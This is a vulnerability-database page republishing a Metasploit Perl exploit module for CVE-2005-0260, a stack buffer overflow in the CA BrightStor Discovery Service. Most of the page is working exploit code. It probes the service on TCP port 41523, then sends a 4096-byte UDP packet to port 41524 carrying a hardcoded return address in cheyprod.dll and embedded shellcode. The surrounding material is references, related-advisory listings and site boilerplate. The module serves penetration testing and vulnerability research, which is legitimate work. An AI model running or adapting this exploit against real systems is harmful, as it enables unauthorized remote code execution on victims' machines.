Lucene search
+L

cabrightstor_disco.pm

🗓️ 18 Feb 2005 00:00:00Reported by Thor DoomenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Exploits CA BrightStor Discovery Service overflow via UDP port resulting in stack overflow.

Related
Code
ReporterTitlePublishedViews
Family
canvas
canvas
Immunity Canvas: BRIGHTSTOR_DISCOVERY
2 May 200504:00
–canvas
circl
Circl
CVE-2005-0260
9 May 201000:00
–circl
checkpoint_advisories
Check Point Advisories
CA BrightStor Discovery Service Buffer Overflow - Ver2 (CVE-2005-0260)
25 Jun 201800:00
–checkpoint_advisories
cve
CVE
CVE-2005-0260
10 Feb 200505:00
–cve
cvelist
Cvelist
CVE-2005-0260
10 Feb 200505:00
–cvelist
exploitdb
Exploit DB
CA BrightStor Discovery Service - Remote Stack Buffer Overflow (Metasploit)
9 May 201000:00
–exploitdb
metasploit
Metasploit
CA BrightStor Discovery Service Stack Buffer Overflow
20 Dec 200400:00
–metasploit
nvd
NVD
CVE-2005-0260
2 May 200504:00
–nvd
packetstorm
Packet Storm
CA BrightStor Discovery Service Overflow
26 Nov 200900:00
–packetstorm
rapid7
Rapid7 Vulnerability Database (full)
CVE-2005-0260: Undefined Security Weakness
10 Feb 200500:00
–rapid7
Rows per page
`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::cabrightstor_disco;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
  
my $info =  
{  
'Name' => 'CA BrightStor Discovery Service Overflow',  
'Version' => '$Revision: 1.10 $',  
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],  
'Priv' => 1,  
'AutoOpts' => { 'EXITFUNC' => 'process' },  
  
'UserOpts' =>   
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 41524],  
},  
  
'Payload' =>   
{  
'Space' => 2048,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500   
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a vulnerability in the CA BrightStor  
Discovery Service. This vulnerability occurs when a large  
request is sent to UDP port 41524, triggering a stack  
overflow.  
}),  
  
'Refs' =>   
[  
['BID', '12491'],  
['CVE', '2005-0260'],  
['URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities']   
],  
  
'Targets' =>   
[  
['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg  
],  
  
'Keys' => ['brightstor'],  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Check {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = 41523;  
  
# Connection #1 should not receive a response  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return $self->CheckCode('Connect');  
}  
  
$s->Send("META");  
my $res = $s->Recv(-1, 1);  
$s->Close;  
  
if ($res) {  
$self->PrintLine("[*] The discovery returned a strange response: $res");  
}  
  
# Connection #2 should receive the hostname of the target  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return $self->CheckCode('Connect');  
}  
  
$s->Send("hMETA");  
my $res = $s->Recv(-1, 1);  
$s->Close;  
  
if (! $res) {  
$self->PrintLine("[*] The discovery service did not respond to our query");  
return $self->CheckCode('Generic');  
}  
  
$self->PrintLine("[*] Discovery service active on host: $res");  
return $self->CheckCode('Detected');  
}  
  
sub Exploit {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);  
  
my $s = Msf::Socket::Udp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
my $bang = "X" x 4096;  
  
# esp @ 971  
# ret @ 968  
# edi @ 1046  
# end = 4092  
  
substr($bang, 968, 4, pack('V', $target->[1]));  
substr($bang, 1046, length($shellcode), $shellcode);  
  
$self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");  
$s->Send($bang);  
$s->Recv(-1, 5);  
  
return;  
}  
  
1;  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation